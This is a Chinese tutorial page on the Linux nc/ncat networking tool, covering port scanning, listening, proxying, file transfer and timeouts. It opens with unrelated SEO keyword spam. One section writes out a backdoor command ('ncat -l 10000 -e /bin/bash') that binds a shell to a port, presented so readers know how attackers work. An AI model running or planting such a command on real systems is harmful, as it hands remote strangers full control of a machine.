影响网站打开速度,哪里有专做水果的网站,站优化,辽宁建设工程信息网络Linux nc命令介绍
nc是netcat的简写#xff0c;有着网络界的瑞士军刀美誉。它是一个功能强大的网络工具#xff0c;主要有以下作用#xff1a;
实现任意TCP/UDP端口的侦听#xff0c;nc可以作为server以TCP或UDP方式侦听指定端口端口的扫描#xff0c;nc可以作为client发…Linux nc命令介绍
nc是netcat的简写有着网络界的瑞士军刀美誉。它是一个功能强大的网络工具主要有以下作用
实现任意TCP/UDP端口的侦听nc可以作为server以TCP或UDP方式侦听指定端口端口的扫描nc可以作为client发起TCP或UDP连接机器之间传输文件机器之间网络测速
Linux nc命令适用的Linux版本
nc命令在大多数Debian发行版中是默认可用的它会在安装系统的过程中自动被安装。但是在CentOS 7 / RHEL 7的最小化安装中nc并不会默认被安装。你需要用下列命令手工安装
[linuxbashcommandnotfound.cn ~]$ yum install nmap-ncat -yLinux nc命令的基本语法
nc的基本语法格式如下
nc [-hlnruz] [-g网关...] [-G指向器数目] [-i延迟秒数] [-o输出文件] [-p通信端口] [-s来源位址] [-v...] [-w超时秒数] [主机名称] [通信端口...]Linux nc命令的常用选项或参数说明
以下是nc命令的一些常用选项
选项说明-l用于指定nc将处于侦听模式-p设置本地主机使用的通信端口-s设置本地主机送出数据包的IP地址-u使用UDP传输协议-v输出交互或出错信息-w超时秒数后面跟数字-z表示zero表示扫描时不发送任何数据
Linux nc命令的实例
以下是一些nc命令的实例
TCP端口扫描
[linuxbashcommandnotfound.cn ~]$ nc -v -z -w2 192.168.0.1 1-100扫描UDP端口
[linuxbashcommandnotfound.cn ~]$ nc -u -z -w2 192.168.0.1 1-1000扫描指定端口
[linuxbashcommandnotfound.cn ~]$ nc -nvv 192.168.0.1 80监听入站连接通过 -l 选项ncat可以进入监听模式使我们可以在指定端口监听入站连接。完整的命令是这样的
[linuxbashcommandnotfound.cn ~]$ ncat -l 8080服务器就会开始在8080端口监听入站连接。
连接远程系统使用下面命令可以用nc来连接远程系统
[linuxbashcommandnotfound.cn ~]$ ncat IP_address port_number例如
[linuxbashcommandnotfound.cn ~]$ ncat 192.168.0.1 80这会创建一个连接连接到IP为192.168.1.100的服务器上的80端口然后我们就可以向服务器发送指令了。
连接UDP端口默认情况下nc创建连接时只会连接TCP端口。不过我们可以使用 -u 选项来连接到UDP端口
[linuxbashcommandnotfound.cn ~]$ ncat -l -u 1234现在我们的系统会开始监听UDP的1234端口。
将nc作为聊天工具nc也可以作为聊天工具来用我们可以配置服务器监听某个端口然后从远程主机上连接到服务器的这个端口就可以开始发送消息了。在服务器这端运行
[linuxbashcommandnotfound.cn ~]$ ncat -l 8080在远程客户端主机上运行
[linuxbashcommandnotfound.cn ~]$ ncat 192.168.1.100 8080之后开始发送消息这些消息会在服务器终端上显示出来。
将nc作为代理nc也可以用来做代理。比如下面这个例子
[linuxbashcommandnotfound.cn ~]$ ncat -l 8080 | ncat 192.168.1.200 80所有发往我们服务器8080端口的连接都会自动转发到192.168.1.200上的80端口。
使用nc拷贝文件nc还能用来在系统间拷贝文件虽然这么做并不推荐因为绝大多数系统默认都安装了ssh/scp。不过如果你恰好遇见个没有ssh/scp的系统的话你可以用nc来作最后的努力。在要接受数据的机器上启动nc并让它进入监听模式
[linuxbashcommandnotfound.cn ~]$ ncat -l 8080 file.txt现在去要被拷贝数据的机器上运行下面命令
[linuxbashcommandnotfound.cn ~]$ ncat 192.168.1.100 8080 --send-only data.txt这里data.txt是要发送的文件。--send-only选项会在文件拷贝完后立即关闭连接。
通过nc创建后门nc命令还可以用来在系统中创建后门并且这种技术也确实被黑客大量使用。为了保护我们的系统我们需要知道它是怎么做的。创建后门的命令为
[linuxbashcommandnotfound.cn ~]$ ncat -l 10000 -e /bin/bash-e标志将一个bash与端口10000相连。现在客户端只要连接到服务器上的10000端口就能通过bash获取我们系统的完整访问权限
[linuxbashcommandnotfound.cn ~]$ ncat 192.168.1.100 10000通过nc进行端口转发我们通过选项 -c 来用nc进行端口转发实现端口转发的语法为
[linuxbashcommandnotfound.cn ~]$ ncat -u -l 80 -c ncat -u -l 8080这样所有连接到80端口的连接都会转发到8080端口。
设置连接超时nc的监听模式会一直运行直到手工终止。不过我们可以通过选项 -w 设置超时时间:
[linuxbashcommandnotfound.cn ~]$ ncat -w 10 192.168.1.100 8080这回导致连接10秒后终止不过这个选项只能用于客户端而不是服务端。
使用 -k 选项强制nc待命当客户端从服务端断开连接后过一段时间服务端也会停止监听。但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。命令如下
[linuxbashcommandnotfound.cn ~]$ ncat -l -k 8080现在即使来自客户端的连接断了也依然会处于待命状态。
Linux nc命令的注意事项
如果你在使用nc命令时遇到了bash: nc: command not found的错误那么你可能需要安装nc。
更多详细内容可以参考 linux入门学习教程 - Linux入门自学网 Linux下nc命令用法详解如何使用网络界的瑞士军刀号称最强大的网络工具